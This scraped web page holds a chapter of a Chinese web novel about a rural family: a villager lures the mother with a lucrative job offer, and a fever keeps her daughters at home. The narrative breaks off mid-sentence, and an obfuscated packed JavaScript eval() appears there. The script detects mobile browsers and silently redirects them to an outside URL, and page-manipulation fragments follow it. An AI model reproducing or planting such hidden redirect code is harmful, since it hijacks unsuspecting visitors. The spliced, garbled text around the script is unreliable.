13. 啥活能挣这么多
作品:《长女嫁猎户》 柳氏苦着脸,忧愁道:“这可不是嘛,孩子他爹摔伤了腿,收入便断了来源,一家人嘴里没点嚼头,我这个做娘的也是一个子恨不得掰开两个花。”
曾大牛挠了挠头,说道:“我倒是知道隔壁盐桥镇上有人家需要干活的女工。”
“当真?”
柳氏脸上一喜,急忙问道:“做一日,工钱是多少?”
曾大牛见这条路上没什么村里人经过,先伸出一根手指,然后又伸出两根手指,悄悄低声说道:“一个月能挣二两银子。”
柳氏一惊:“二两银子?”
一月二两银钱啊,孩子他爹在镇上给人砌院墙做满三个月,也才拿回来二两银子,她心里狐疑又问道:“啥活能挣这么多?”
曾大牛说道:“这家雇主是个开染坊的有钱人,织出的布匹锦缎常运往各州郡供给官宦人家的小姐使用,这次要招几个女工,他们家出手阔绰,出的工钱都要被人家高,不说咱村,就是镇上也有很多妇人带上闺女去应募咧。”
他看着柳氏的表情,鼓动道:“嫂子不妨也带上你家两个丫头,留我老哥照看着你家那小子,你和两丫头干一个月就能拿回六两银子呢。”
六两银子?
柳氏心动不已,六两可是够她们一家三口富足生活大半载了,还能添一头小猪和小牛犊,往后犁地耙田再不用借孩子她二叔家的牛了。
曾大牛压低了声音,又补充了一句:“而且我还听说那户人家的公子爷还没娶妻,你家两个丫头生得水灵,说不定还能被看上做个富家夫人。”
没见过世面,不知富贵人家后宅深浅的柳氏,更是眼睛一亮,若是有机会她当然希望自个闺女能过上富贵日子,将来也好带携娘家弟弟。
不过,她倒也不傻,想到曾大牛之前那句话,雀跃的心情很快就冷却下来,她忧虑道:“可这么多人去,咱们怎么能应募的上?”
曾大牛拍着胸脯保证:“这个嫂子放心,我表舅是他们家的长工,我跟他说道说道,走个关系,让你们应募上不难。”
听他这么说,柳氏果真放下心,又想到这曾老赖去年确实挣到不少钱回来,不然怎么盖得起大屋,她马上拍板答应了:“那好,我回去跟两个丫头说说,不过这种好事你可别再告诉外人了。”
她可不想让村里的妇人知晓,以免去的人多了,这活自个还争不上。
“放心,这事除了你,我再没和别的人说起过。”曾大牛应承着。
柳氏又问:“那咱们啥时候动身?”
曾大牛道:“嫂子回去准备准备,明日清早咱们就可以坐我的牛车出发。”
柳氏诧异:“这么快?”
曾大牛点头:“早点去好,免得咱们落在人后,万一人数都应募满了,可就没机会了。”
柳氏一听,心道也是,好活都是人人抢着。
曾大牛又提醒了一句:“不过嫂子事成之前,还是先不要告诉我老哥,你知道男人嘛,自家媳妇和女儿出去抛头露面挣钱,他一个大男人脸上不好看。”
“这我晓得。”
柳氏当然知道自家男人那德行。
曾大牛脸上也高兴:“就这么说定了,嫂子后日清早我在村口等你们,记得带上几件衣服,盐桥镇离咱这远,可能还得在那宿一晚,还有别忘了带上你家两丫头,我能说服我表舅让你们应募上,到时候给我买个二两酒做答谢就可以了。”
他说的爽快,柳氏深信不疑,心里也越发期待。
云蘅拎着蜜饯、果脯、云糕各一份来到了三婶叶秋娘家里。
三叔自四年前跟人出去跑商,起先还有些家书寄回,后来就音讯全无,再没回来过,秋娘独自带着八岁的女儿过活。
她来到屋前,见院子里并没人,正要开口喊一下。
却见堂妹赶着小鸡仔从屋后面绕了出来,看见云蘅,她连忙欢喜的跑出来开门:“云蘅姐,你今日咋过来啦?”
云蘅晃了晃手中的油纸包:“给你带了些好吃的。”
其实原主农闲没事干的时候,并不喜欢在家呆着,柳氏看不得她闲着,总要逮着鸡毛蒜皮的小事数落她。
因此,她经常跑到三婶婶这里帮帮忙啥的,至少能躲开她娘那张嘴碎。
“阿慧,你娘还没回来吗?”
宋知慧搬来凳子给她坐:“娘下地去了,应该一会能回来。”
她的眼睛不受控制的瞄向她手里的包裹,又飞快移开了,掰着手指邀功似的数道:“云蘅姐,我已经把小鸡们喂饱,把碗也洗好了。”
云蘅俯身摸着她的头,脸上露出温柔的笑容。
“阿慧真能干。”
贫苦农户的孩子早当家,眼前这个年仅十岁,两年没见过父亲的堂妹,已经学会了烧火、喂鸡,洗碗。
云蘅吩咐道:“去洗洗手。”
宋知慧立刻屁颠屁颠去井水边的木盆里用干净的水洗净手,再回来时,就见云蘅将油纸包打开了,那甜腻的香味引的她心馋不已。
等叶秋娘扛着锄头,手里拎着一把豆荚回来时,就见自家闺女坐在院子里挨着云蘅,津津有味的吃起了零嘴。
叶秋娘心里欢喜,语气却佯装了几分怪责:“云蘅啊,来便来,还带这么些东西,当心你娘知道了,少不了一顿骂。”
云蘅摇了摇头,好心维护起柳氏的形象:“我娘只是因为家里拮据,所以很多时候难免吝啬小气了些,三婶婶别往心里去。”
叶秋娘诧然,上下打量了她一眼,发觉这个侄女儿与从前似判若两人。
以前的大侄女特别害怕她娘,大嫂叫她往东她绝不敢往西,甚少过来自家这边玩,更不敢这么正大光明的提些好东西过来给她们母女。
可如今的侄女儿,不但看着落落大方,言谈之中再无那副胆小怯懦的模样。经历了那么一遭,醒来之后仿佛整个人的性子都变了许多。
“你摔伤那回,我带着慧儿去看过你,只是那会你还没醒呢。”
叶秋娘一边说着,把锄头放在屋檐下,又到后厨挽起衣袖打了两瓢水道锅里,开始烧火做饭,她朝外头喊了一声:“今儿就留下一块吃饭吧,我待会把豆荚煮了,你也吃点。”
云蘅抬头看了眼天上乌云聚拢,怕是很快要下雨了:“婶婶不用忙活了,我一会还得家去呢。”
宋知慧却缠着她道:“云蘅姐留下来陪我玩一会嘛。”
叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184427|196806||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋娘走出来,抬手眺望了一眼天色,说道:“我看这天又快下雨了,你回去也没得事做,不如留在这陪陪我和慧儿。”
傍晚时,天色逐渐暗下来,阴云密布,果然很快下就起了滂沱大雨。
宋知慧摇着她的手,撒娇道:“云蘅姐,你今晚就别回去了,陪我一个屋睡。”
小丫头罕见的,打从心底喜欢上了这个与从前有些不一样的堂姐。
云蘅伸手刮了刮她的鼻头,笑道:“好吧,今晚就便宜了你青桐姐,让她独占一屋,我跟阿慧你挤挤。”
在阙京,也流行关系较好的姐妹互相邀约至家里同榻夜话,这是闺阁生活中温馨的场景。在东篱村,堂姐妹之间或是关系好的手帕交留宿是常有的事。
一个人睡觉的宋青桐,原本不知该有多舒坦,却在半夜时受了凉。
清早鸡啼时,天刚蒙蒙亮。
柳氏就来到姐妹俩睡觉的屋子,云蘅那丫头昨日去了老三媳妇那,估摸着在那留宿了。她伸手推了推床上的人:“二丫头,快醒醒。”
“娘,我头痛……”
宋青桐这会睡的迷迷糊糊,她有气无力地咕哝。
“你这是咋啦?”
柳氏伸手触到她额头,马上又收了回来。
她心里懊恼,这丫头偏就发烧了,还好不巧不巧选在这当头,误了她的大事。
眼看外面天都快亮了,恐怕曾大年已经在约定的地方等着。
她琢磨着,咬牙一拍大腿,自己回屋捡了两套衣衫,打开箱子取出几十文钱当盘缠,又将那口箱子上了锁,便挎上个包袱匆匆出门了。
此时天刚蒙蒙亮,路上也没什么行人,她快速走到约人约定的地方,果然看见曾大牛已经牵着牛车等候在那里。
见她是自己一个人,曾大牛变了脸色,脸上露出疑惑:“大嫂子,怎么就你一人,你家那两丫头呢?”
柳氏解释道:“别提了,我那二丫头昨晚睡时着了凉,今早突然烧起来,这会还躺在床上起不来。”
曾大牛追问道:“那你家大丫头呢?”
“去她三婶婶家过夜了,这不,今早也还没回来。”
曾大牛站着不动:“那嫂子过去把她一块领来,我还在这等你们。”
柳氏挥了挥手,一脸不耐烦:“算了,带上大丫头阻手阻脚,我先随大牛兄弟你去一趟,等我应募上了到时再回来把我家丫头带上。”
她本有私心,只因听曾大牛说那主家的少爷还是未婚配的,自家二丫头长得不差,说不定有这个福气。
曾大牛上下打量着眼前的柳氏,她庞大腰圆,穿着短襦布裙,一张脸神采奕奕,眼里满含期待,只是颧骨略高显凶相,眼角细纹明显,唇色暗淡。
他心里有些嫌弃,又张望了一眼路的尽头。
确实没有看见那对姐妹出现,心里顿时升起一股无名火。
正在低头整理包袱的柳氏并没看见他眼里的清晰,以为他语气不好可能是怪自己来晚了,她刚忙催促道:“还等什么?咱们赶紧走吧。”
曾大牛无奈,想着他已跟人约定好时辰,去晚了可不行,只得不情不愿的赶着牛车和柳氏一块往盐桥镇去。

